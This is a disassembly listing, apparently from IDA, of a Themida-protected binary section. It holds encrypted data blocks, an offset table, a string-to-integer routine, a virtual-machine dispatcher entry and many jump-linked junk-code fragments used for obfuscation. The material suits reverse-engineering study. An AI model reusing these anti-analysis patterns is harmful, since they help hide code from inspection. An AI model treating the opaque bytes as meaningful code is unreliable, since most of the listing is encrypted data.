		dd 9ABC4EBAh, 0A19D036Dh, 8D09352Ah, 3541FCBDh,	6D952909h
		dd 0E909352Eh, 0F1h, 59FCCA81h,	0F8834D61h, 36850F02h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 1B80C355h, 0B2836BB0h,	0F4BD8DE4h
		dd 8B093543h, 351C599Dh, 0AFE909h, 0D6800000h, 3F88341h
		dd 89850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 9B6AC3h,	0E42EBB66h, 8DD18B66h
		dd 354588BDh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F7A88248h, 311894DDh, 38EEBA6Dh
		dd 4AE9503Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 4AD7C355h, 6E8h, 0ACE29300h
		dd 0FCCD1C2Eh, 0B185095Ah, 83093529h, 850F05F8h, 11h, 17C59503h
		dd 4AE90935h, 8B000000h, 352AC99Dh, 89525709h, 352B658Dh
		dd 15B95A09h, 29436345h, 3500199Dh, 3F8309h, 27840Fh, 0E2810000h
		dd 347FC94Ah, 9D8B0F30h, 93526D1h, 9533C9D1h, 935302Dh
		dd 25958B47h, 8A093511h, 0FFD3E9DAh, 0B70FFFFFh, 5F883D6h
		dd 0B5850Fh, 66F90000h,	0A5BAD98Ch, 8B688F63h, 35267595h
		dd 4C1F609h, 41850Fh, 0D2800000h, 0B8BCh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DDDC2CC3h, 1138083Bh, 23351DF8h, 3512299Dh,	0C9958B09h
		dd 0E9093505h, 5Fh, 8BD38B66h, 35109585h, 55006A09h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 17526C7Fh, 9DC7B63Dh, 4860Fh, 0BA660000h, 0E0FFFF09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E3C35646h
		dd 57F52DDEh, 1B619589h, 835B0935h, 351AC9BDh, 850F0009h
		dd 0D9h, 123D9D09h, 50900935h, 0D88B6653h, 9D8B905Ah, 9350119h
		dd 179D85C6h, 0B2450935h, 4E8C5h, 69690000h, 12E98E72h
		dd 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h, 8BC87A5Fh
		dd 8B605037h, 9C2EBBD6h, 8B6173BFh, 66042444h, 8BDE8Bh
		dd 4244489h, 0FE9h, 4687E800h, 2CDC8D5Ch, 0C83AA411h, 562B9CCBh
		dd 9E958h, 16A60000h, 0E15B28F8h, 0FF3A2FEAh, 350EC9B5h
		dd 28F0F09h, 8B000000h,	98858DDFh, 6A093538h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 25F7C353h, 8B98F7FDh, 3530A99Dh, 6880F09h, 89000000h
		dd 3503F1B5h, 0BBD0FF09h, 78301DB1h, 1AC98589h,	8D010935h
		dd 9353161h, 8BD38A58h,	3502E99Dh, 0CBBD8309h, 9354Bh
		dd 7F840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BB245BC3h, 2E683CA8h, 0B15BD89h
		dd 0B5FF0935h, 93506C5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0F7C35646h, 759D29A8h, 0FF09350Eh, 351AC995h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 4D958B56h, 8109352Eh, 1515BADBh,	0F8836Fh
		dd 0E9850Fh, 11E90000h,	3C000000h, 2F86C39Fh, 0EFEB36E6h
		dd 5E8023BBh, 4709E2DEh, 251958Bh, 0BD830935h, 9350D55h
		dd 4F840F00h, 0E9000000h, 8, 0E2EDAF7Ch, 0B7B45EB6h, 0D55B5FFh
		dd 0DA800935h, 1B80Ch, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 80B54DC3h, 8166D4C2h
		dd 0E95095DBh, 1F7h, 0A83ABB66h, 3719D03h, 0B5FF0935h
		dd 93506C5h, 0B5FF69B3h, 93506C5h, 0FE8h, 0F8E0B000h, 50905FC2h
		dd 2085FD13h, 0C8B8270Dh, 2FC59D23h, 895B0935h,	35008DB5h
		dd 0C9B5FF09h, 0F09351Ah, 0B0E9D1B7h, 51000001h, 10E8h
		dd 1BC75400h, 0AF10CD59h, 3D1BABB1h, 48E8C592h,	5B5BF8D6h
		dd 0FE8h, 0FBA44000h, 71E3C52Fh, 88687EAEh, 0BB9BA3CEh
		dd 351B531h, 5F5A0935h,	976BBB66h, 25A1BD83h, 0F000935h
		dd 0A185h, 0ED958B00h, 0C6093504h, 35179D85h, 0BA664D09h
		dd 4E8EDABh, 0A8000000h, 57A43576h, 505B9BB2h, 0AE8h, 4A3E2800h
		dd 605CAB74h, 0F1CF025h, 584h, 0F58DBB00h, 8B5B5306h, 0BA042444h
		dd 3F88EC8h, 0EBB7008Bh, 4244489h, 0E858D08Bh, 10h, 0B96020C2h
		dd 0D32E0DB1h, 43D60DE9h, 291F79FEh, 5BDCCE80h,	57DB5FFh
		dd 0BA660935h, 858DC44Ah, 9353898h, 11E8h, 0A1672D00h
		dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0FF5B6BF8h, 0E38166D0h
		dd 8589FEF1h, 93525A1h,	6358D31h, 0B80935h, 0E9000000h
		dd 13h,	8B5E776Ah, 49BB4DFDh, 0A74D1187h, 0B9430729h, 89AAA102h
		dd 354B74BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0DC79FDDFh, 0B5890058h, 9350385h
		dd 840FC00Bh, 1Bh, 0BE9h, 0B904000h, 0C7CE248Eh, 0A3F34D25h
		dd 62E9h, 0F19D8B00h, 0FF093525h, 351AC9B5h, 0BD8B6009h
		dd 9351D71h, 1D3D9D8Bh,	66610935h, 858DD98Bh, 937A719h
		dd 22BAD08Bh, 500B5C4Ah, 0AE8h,	6E5B0F00h, 2BE079A9h, 5AFAAB2Ah
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0DAB0C351h, 663DAE4Eh,	50C242BBh
		dd 64BD8D56h, 8D093552h, 3578B28Dh, 23BCB809h, 0CF2B7483h
		dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 9350D55h, 8B067400h
		dd 350BDD8Dh, 0B8C93309h, 0
		dd 840FC00Bh, 99h, 331BD83h, 74000935h,	3D95FF06h, 0B809350Fh
		dd 0
		dd 975C00Bh, 4B7CBD83h,	74010935h, 7CBD8309h, 209354Bh
		dd 0B58B0E75h, 9354B74h, 0A719858Dh, 0D0FF0937h, 4191858Dh
		dd 0D0FF0935h, 1F91BD83h, 75020935h, 89A58B2Fh,	8B093526h
		dd 350D5585h, 24048909h, 31585C7h, 10935h, 0B58B0000h
		dd 9354B78h, 0AF9AD8Bh,	1B80935h, 0C2000000h, 0EB000Ch
		dd 31585C7h, 10935h, 0A58B0000h, 9352689h, 1049B58Bh, 0AD8B0935h
		dd 9350AF9h, 0CC2C033h,	21BD8300h, 93500h, 0BD830F74h
		dd 9350C39h, 0FF067400h, 350C3995h, 74B58B09h, 0C309354Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F5C35343h
		dd 11584358h, 0BAFDD680h, 0
		dd 21D58D01h
		db 35h,	9
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_545F9E
; ---------------------------------------------------------------------------


loc_545F9C:				; CODE XREF: Themida_:00545FA1j
		inc	eax
		inc	edi


loc_545F9E:				; CODE XREF: Themida_:00545F9Aj
		cmp	byte ptr [edi],	0
		jnz	short loc_545F9C
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_545FCD
; ---------------------------------------------------------------------------


loc_545FAA:				; CODE XREF: Themida_:00545FCFj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_545FC2
; ---------------------------------------------------------------------------


loc_545FBF:				; CODE XREF: Themida_:00545FC5j
		mul	ebx
		dec	esi


loc_545FC2:				; CODE XREF: Themida_:00545FBDj
		cmp	esi, 0
		ja	short loc_545FBF
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_545FCD:				; CODE XREF: Themida_:00545FA8j
		or	eax, eax
		jnz	short loc_545FAA
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 56h
		dd 6A5B06B7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5568C351h, 9761C03Bh, 1291B501h
		dd 0C18B0935h, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
		dd 46068A80h, 0BB470788h, 2, 850FD202h,	5, 1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 22118h, 2730028h
		dd 12FF68h, 5B0412h, 2 dup(5B0904h), 0
		dd 273003Fh, 246h, 2, 1, 3, 0F71EE5CEh,	5 dup(0)
		dd offset word_54F18E
		dd offset byte_54ED2D
		dd offset word_548522
		dd offset byte_5511AD
		dd offset dword_549D54
		dd offset dword_546F34
		dd offset byte_54BD2B
		dd offset dword_54D764
		dd offset byte_54838F
		dd offset byte_54E007
		dd offset byte_54AFBB
		dd offset word_54A0F6
		dd offset word_54874A
		dd offset word_550B5A
		dd offset byte_550A07
		dd offset byte_55150B
		dd offset byte_54749F
		dd offset word_54F092
		dd offset aMssj8	; "╛SИJ8"
		dd offset word_54E0A2
		dd offset word_551132
		dd offset dword_547C1C
		dd offset byte_54B8D5
		dd offset byte_547D39
		dd offset dword_552038
		dd offset word_54C6F2
		dd offset dword_54F4B8
		dd offset word_54B762
		dd offset byte_548907
		dd offset dword_548DB0
		dd offset dword_548F30
		dd offset word_54D20A
		dd offset dword_546790
		dd offset word_54CC96
		dd offset byte_54987B
		dd offset word_54A2F6
		dd offset byte_54A5B1
		dd offset dword_54D854
		dd offset dword_5510EC
		dd offset byte_548B77
		dd offset dword_54AAF8
		dd offset dword_54B978
		dd offset dword_547DC4
		dd offset word_54E10E
		dd offset dword_54E2E4
		dd offset dword_551530
		dd offset word_54689E
		dd offset dword_549AB8
		dd offset word_54AE86
		dd offset byte_551267
		dd offset byte_548BFD
		dd offset word_547146
		dd offset aHr		; "hЮ~"
		dd offset dword_54E9DC
		dd offset dword_54D54C
		dd offset word_54D846
		dd offset aM0Fsski	; "╛0ьfSИkI"
		dd offset dword_55262C
		dd offset byte_546C73
		dd offset word_55075A
		dd offset byte_5508A5
		dd offset byte_5476C9
		dd offset byte_5509D5
		dd offset word_54C862
		dd offset byte_54CA0D
		dd offset byte_551615
		dd offset byte_5497FF
		dd offset byte_5523DF
		dd offset byte_5501B5
		dd offset word_5499CA
		dd offset word_54A586
		dd offset byte_54F837
		dd offset word_54E316
		dd offset word_54E2FE
		dd offset byte_549D6B
		dd offset word_55145A
		dd offset word_5467EA
		dd offset byte_548955
		dd offset word_54F11E
		dd offset byte_54D2F3
		dd offset word_54EEAA
		dd offset dword_54AB14
		dd offset byte_54CB99
		dd offset dword_54B17C
		dd offset byte_54910F
		dd offset byte_5504B7
		dd offset dword_549588
		dd offset word_5503FE
		dd offset byte_5472B3
		dd offset byte_548995
		dd offset dword_5489C0
		dd offset word_54D2DE
		dd offset dword_54ACEC
		dd offset dword_54EAF4
		dd offset dword_551AC4
		dd offset dword_54B8AC
		dd offset word_54C78A
		dd offset dword_54EED0
		dd offset dword_5487B8
		dd offset aNrss		; "╜RИХ\v"
		dd offset aM0FrSsw6	; "╛0ьfR╤≤ИW6"
		dd offset aNvsR		; "╜VИ\\R"
		dd offset byte_549255
		dd offset dword_54F770
		dd offset byte_54FD1D
		dd offset byte_547A7B
		dd offset byte_548801
		dd offset aUh9g		; "Uh9G"
		dd offset dword_550C08
		dd offset byte_54DC1B
		dd offset byte_5482D1
		dd offset dword_5500BC
		dd offset word_54CF16
		dd offset byte_54BE85
		dd offset byte_547131
		dd offset dword_5478B0
		dd offset word_549942
		dd offset dword_549B4C
		dd offset byte_54D403
		dd offset byte_547905
		dd offset dword_54DAD0
		dd offset byte_54FE45
		dd offset byte_551051
		dd offset dword_54B094
		dd offset byte_54BD55
		dd offset byte_54A4D1
		dd offset dword_54EF54
		dd offset aMs		; "╛И~,"
		dd offset byte_54879D
		dd offset word_54FF56
		dd offset byte_549EA9
		dd offset dword_549788
		dd offset word_54F0F2
		dd offset dword_548FFC
		dd offset byte_54AE29
		dd offset aMhtl		; "╛h▓L"
		dd offset word_54C2E2
		dd offset dword_550438
		dd offset dword_551860
		dd offset word_548F92
		dd offset byte_550545
		dd offset dword_550B7C
		dd offset dword_546618
		dd offset byte_546CBD
		dd offset byte_551333
		dd offset dword_54C94C
		dd offset dword_550E34
		dd offset word_54CA92
		dd offset aN1Sscr	; "╜1ьSИ√R"
		dd offset dword_552194
		dd offset byte_546EF5
		dd offset byte_54DB31
		dd offset byte_54DD77
		dd offset byte_54821F
		dd offset byte_54BDC1
		dd offset byte_5513C7
		dd offset dword_5471D8
		dd offset aNvqwhECsJ	; "╜VQWhЛe╤cИ\aj"
		dd offset byte_54CCA9
		dd offset dword_550290
		dd offset dword_547708
		dd offset word_551F32
		dd offset aM0Rhag	; "╛0ьRh²G"
		dd offset byte_54EA0F
		dd offset word_5498EA
		dd offset aMqspq	; "╛QИpq"
		dd offset word_55179E
; ---------------------------------------------------------------------------


loc_5464A4:				; CODE XREF: Themida_:00595E41j
					; Themida_:005A05E1j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 9357EDEh
		mov	eax, edi
		add	edi, 9357BF6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5464C2
		jmp	short loc_5464D5
; ---------------------------------------------------------------------------


loc_5464C2:				; CODE XREF: Themida_:005464BEj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5464D1
; ---------------------------------------------------------------------------


loc_5464CC:				; CODE XREF: Themida_:005464D3j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5464D1:				; CODE XREF: Themida_:005464CAj
		or	ecx, ecx
		jnz	short loc_5464CC


loc_5464D5:				; CODE XREF: Themida_:005464C0j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5464E2:				; CODE XREF: Themida_:005464E9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5464E2


loc_5464EB:				; CODE XREF: Themida_:loc_546763j
					; Themida_:00546AE6j ...
		lodsb
		jmp	loc_5487A6
; ---------------------------------------------------------------------------


loc_5464F1:				; CODE XREF: Themida_:00548D89j
		push	15E6h
		mov	[esp], ebx
		mov	bh, 0BAh
		neg	bh
		inc	bh
		neg	bh
		and	bh, 0FBh
		sub	bh, 81h
		add	bh, 57h
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 0CAh
		sub	al, bl
		add	al, 0CAh
		push	ecx
		mov	ch, 32h
		shl	ch, 6
		jmp	loc_551207
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 57000000h,	4BFh, 8BFE0100h, 6EE9243Ch, 8900004Ch
		dd 0D0882404h, 88C18851h, 8734E9CFh, 0E9590000h, 63A5h
		dd 0A4A7E95Bh, 0EA880000h, 595AD388h, 0E943C380h, 2663h
		dd 4EC81h, 4890000h, 4B824h, 0ED810000h, 46343034h, 9BE9C501h
		dd 490000AEh, 0BB73BD55h, 0E93149CFh, 983FE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546592:				; CODE XREF: Themida_:0055152Bj
		inc	edx
		jmp	loc_549D0B
; ---------------------------------------------------------------------------
		dd 4C48358h, 0BE01E9h
		db 0
; ---------------------------------------------------------------------------


loc_5465A1:				; CODE XREF: Themida_:005508A0j
		or	esi, 5AC73546h
		add	esi, 0EE3506B6h
		sub	ebx, esi
		pop	esi
		neg	ebx
		jmp	loc_54860F
; ---------------------------------------------------------------------------
aTsio		db '(БИ╘╝',0
		align 2
		dw 0C681h
		dd 1, 51C0EE81h, 8156EC40h, 5CA32434h, 8CE95D06h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5465D7:				; CODE XREF: Themida_:00548AE1j
		inc	edi
		xor	edi, 59901F2Dh
		jmp	loc_5468AE
; ---------------------------------------------------------------------------
		db 66h
		dd 66242C87h, 83243C8Bh, 316602C4h, 0E2E9243Ch,	0F700007Eh
		dd 0C4C781DFh, 16D3E59h, 0C5835FFDh, 242C3304h,	0C0B0E9h
		dd 0F1315900h, 0E9D9F75Eh, 9842h
dword_546618	dd 0B60F6664h, 62686602h, 489661Bh, 0FEC1E924h
					; DATA XREF: Themida_:00546440o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54662A:				; CODE XREF: Themida_:00549FD2j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4D15ECDh
		shl	ecx, 2
		sub	ecx, 3A803FABh
		push	ecx
		not	dword ptr [esp]
		jmp	loc_54E849
; ---------------------------------------------------------------------------


loc_546645:				; CODE XREF: Themida_:0054FA03j
		add	ebx, 224C0087h
		pop	edx
		or	edi, ebx
		pop	ebx
		jmp	loc_54D221
; ---------------------------------------------------------------------------


loc_546654:				; CODE XREF: Themida_:00546779j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_551EA2
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 3CFDE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546676:				; CODE XREF: Themida_:0055123Fj
		mov	cl, 56h
		neg	cl
		sub	cl, 88h
		sub	cl, 98h
		not	cl
		neg	cl
		add	cl, 0FAh
		mov	dh, cl
		pop	ecx
		push	eax
		mov	al, 82h
		neg	al
		not	al
		jmp	loc_54989E
; ---------------------------------------------------------------------------


loc_546696:				; CODE XREF: Themida_:005487AAj
		add	al, bl
		add	al, 3Ch
		push	bx
		jmp	loc_548D87
; ---------------------------------------------------------------------------


loc_5466A1:				; CODE XREF: Themida_:00551EA8j
		push	41D0h
		mov	[esp], eax
		jmp	loc_547E12
; ---------------------------------------------------------------------------


loc_5466AE:				; CODE XREF: Themida_:0054C61Dj
		add	ecx, eax
		jmp	loc_5476D6
; ---------------------------------------------------------------------------
		db 0BEh, 0C9h, 29h
		dd 0F0311863h, 26E42D5Eh, 12D38AFh, 52000000h, 0BB5670BAh
		dd 3AF28163h, 0E9355C7Dh, 0EB6h, 57240C8Bh, 0B850E789h
		dd 65552183h, 28B8BF57h, 0F8016761h, 701BE9h, 7E8C100h
		dd 2D05E8C1h, 7B5FBFD3h, 0CAE9C629h, 89000083h,	242C8BE8h
		dd 104C483h, 24048BC6h,	6804C483h, 2D9h, 77ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_54671D:				; CODE XREF: Themida_:0054EEA5j
		add	eax, edi
		add	eax, 5D152ACFh
		jmp	loc_54BB1D
; ---------------------------------------------------------------------------


loc_546729:				; CODE XREF: Themida_:0054D9E3j
		push	ecx
		push	0B4A09F4h
		pop	ecx
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		add	dword ptr [esp], 2BFC0A77h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 2BFC0A77h
		pop	edx
		jmp	loc_547A43
; ---------------------------------------------------------------------------


loc_546758:				; CODE XREF: Themida_:0054CB6Aj
		add	esp, 4
		shr	ebp, 5
		jmp	loc_54D778
; ---------------------------------------------------------------------------


loc_546763:				; CODE XREF: Themida_:00550AAFj
		jmp	loc_5464EB
; ---------------------------------------------------------------------------


loc_546768:				; CODE XREF: Themida_:005527E4j
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	esi
		jmp	loc_546654
; ---------------------------------------------------------------------------
		dw 34FFh
aSN		db '$Ип█',0
		align 2
		dw 1768h
		dd 0E900000Ah, 9B63h
dword_546790	dd 14E953ACh		; DATA XREF: Themida_:00546288o
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546797:				; CODE XREF: Themida_:00548AACj
		push	ebx
		push	ebp
		mov	ebp, 29986C78h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		push	edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		add	eax, edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0
		mov	[eax], ecx
		pop	ecx
		pop	eax
		push	3565h
		mov	[esp], ebp
		push	esi
		push	410722F4h
		pop	esi
		jmp	loc_547642
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 93h
aOfybi1nhsI	db 'oДy│К╥1█HИйi',0
		align 2
word_5467EA	dw 77FFh		; DATA XREF: Themida_:00546338o
		dd 59669D1Ch, 9C241CD3h, 0FFFCF2E9h, 4C283FFh, 0B92CE9h
		db 0
; ---------------------------------------------------------------------------


loc_546801:				; CODE XREF: Themida_:0054AEFAj
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	5D12h
		mov	[esp], esi
		push	esp
		jmp	loc_547D75
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 5AD500F1h, 2EC81h, 89660000h, 0CDB62414h, 5A66F500h
		dd 0B761E9h, 5FE68100h,	0C105D717h, 0BD5508E6h,	7CA539F0h
		dd 4DDDF74Dh, 0D7F2F581h, 0EE01D3B3h, 0B8EE815Dh, 5036810Bh
		dd 78F8B951h, 57E96D5Fh, 59000057h, 5CA3F181h, 0E95E5D06h
		dd 7069h
; ---------------------------------------------------------------------------


loc_546870:				; CODE XREF: Themida_:0054B268j
		pop	esp
		shr	ebp, 3
		or	ebp, 0B045D81h
		push	edi
		jmp	loc_54B587
; ---------------------------------------------------------------------------


loc_546880:				; CODE XREF: Themida_:00547E18j
		sub	dword ptr [esp+8], 5FE667FAh
		sub	[esp+8], eax
		jmp	loc_549077
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aPiqsvy		db '╨вP┬QИVY',0
		align 2
word_54689E	dw 77FFh		; DATA XREF: Themida_:005462C0o
		dd 59669D1Ch, 241CD366h, 0FC3DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5468AE:				; CODE XREF: Themida_:005465DEj
		add	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	ecx
		jmp	loc_54C0BD
; ---------------------------------------------------------------------------


loc_5468BF:				; CODE XREF: Themida_:0054AB7Cj
		sub	edx, 7F26101Ah
		jmp	loc_54F023
; ---------------------------------------------------------------------------
aVsix		db 'VИК∙',0
		align 10h
		dd 96E4F781h, 0FB0109C7h, 4D0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5468DD:				; CODE XREF: Themida_:0054FE38j
		mov	edi, 57E72DA6h
		neg	edi
		sub	edi, 365D52D8h
		add	edi, 8E448082h
		sub	ebp, 244E49D1h
		add	ebp, edi
		add	ebp, 244E49D1h
		jmp	loc_552382
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD1h, 3752E95Ah, 0EC830000h, 240C8904h,	0E98076B1h
		dd 0CC88508Ah, 1088E9h,	0C1815900h, 4, 5562B850h, 0E4E967F1h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546933:				; CODE XREF: Themida_:0054FB96j
		push	esi
		mov	esi, 6C9CDFE6h
		sub	ebx, esi
		jmp	loc_54B083
; ---------------------------------------------------------------------------
		dd 0C8E9F789h, 0B80000A4h, 4, 0E958C129h, 957h,	2474FF55h
		dd 242C8B04h, 815E5456h, 4C6h, 4C68300h, 5C243487h, 8B24048Fh
		dd 31662424h, 0E99C2404h, 0FFFFFB6Fh, 33243431h, 665C2434h
		dd 9C240CFFh, 7D9AE9h, 0D4BF5700h, 475C0967h, 7EFC14Fh
		dd 0F30AC781h, 36E93BB4h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5469A3:				; CODE XREF: Themida_:0054FF19j
		or	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_5488E8
; ---------------------------------------------------------------------------
		dd 0D405D829h, 0E97F912Ah, 3912h
aUh9g		db 'Uh9G',0             ; DATA XREF: Themida_:005463B4o
		align 2
		dw 0CEE9h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5469C3:				; CODE XREF: Themida_:00551DCAj
		mov	edx, 52FF637Bh
		add	edx, 665D4BD0h
		neg	edx
		push	ebp
		mov	ebp, 26BD7ECAh
		and	edx, ebp
		jmp	loc_54951A
; ---------------------------------------------------------------------------
		dd offset dword_5A0468
		align 2
		dw 1C89h
		dd 88E78824h, 12E95BFEh, 83000094h, 586604C4h, 5B66D830h
		dd 252768h, 240C8900h, 77EE68h,	241C8900h, 0E95059B7h
		dd 0ADFAh, 5C241487h, 0AC91E9h
		db 0
; ---------------------------------------------------------------------------


loc_546A19:				; CODE XREF: Themida_:00551202j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5516E3
; ---------------------------------------------------------------------------
		db 29h
		dd 0C60158C6h, 0CE3BF57h, 0E7C175A3h, 81D7F703h, 616F7FE7h
		dd 7FF78118h, 0E91BC054h, 222Ch, 85BC581h, 0B95128FFh
		dd 5A4326A8h, 3818F181h, 0BB536857h, 0
		dd 55CFC381h, 0CB295687h, 55CFEB81h, 0D9895687h, 81241C8Bh
		dd 4C4h, 5EE18100h, 0C1424A7Bh,	0DDE903E1h, 56000044h
		dd 72B7E9h, 23E82D00h, 3C053266h, 8187A858h, 42170C7h
		dd 3BB9E938h, 0ED810000h, 0BAD4682h, 4E866858h,	2C890000h
		dd 2474FF24h, 48F5D04h,	24248B24h, 24040166h, 0FA25E99Ch
		dd 0C181FFFFh, 418E2F43h, 171BBB53h, 0E3C12188h, 4E3C105h
		dd 6310F381h, 0C8E9FADEh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546AE3:				; CODE XREF: Themida_:0054BBBFj
		mov	[esp], ecx
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
aZS9		db 'Z)кИ',7,'9',0
		dw 8000h
		dd 0C4809FE4h, 58E58831h, 0F6D3C580h, 92C580D5h, 0B1EB80h
		dd 0B1C380EBh, 0C2B55159h, 8006EDC0h, 0EB0081EDh, 5F69E9h
		dd 9C506600h, 0FFF9C6E9h, 60FE68FFh, 0CEE90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B2F:				; CODE XREF: Themida_:0054B9B5j
		push	7E772769h
		jmp	loc_549E07
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0C92D0000h, 5206DD3Ch, 9458AFBAh, 43B1E956h,	24890000h
		dd 4B95124h, 1000000h, 8B04244Ch, 8950240Ch, 405E0h, 0C0830000h
		dd 24048704h, 0BBE5E95Ch, 89530000h, 4EC83E3h, 96EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_546B7D:				; CODE XREF: Themida_:00548FC4j
		and	eax, edx
		jmp	loc_54B62F
; ---------------------------------------------------------------------------
		dd 5066CDFEh, 0E52009B4h, 0ED805866h, 0E9EA3014h, 1356h
		dd 5AF96857h, 815F23A8h, 550656C7h, 1C60E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546BAA:				; CODE XREF: Themida_:0054F212j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54E256
; ---------------------------------------------------------------------------
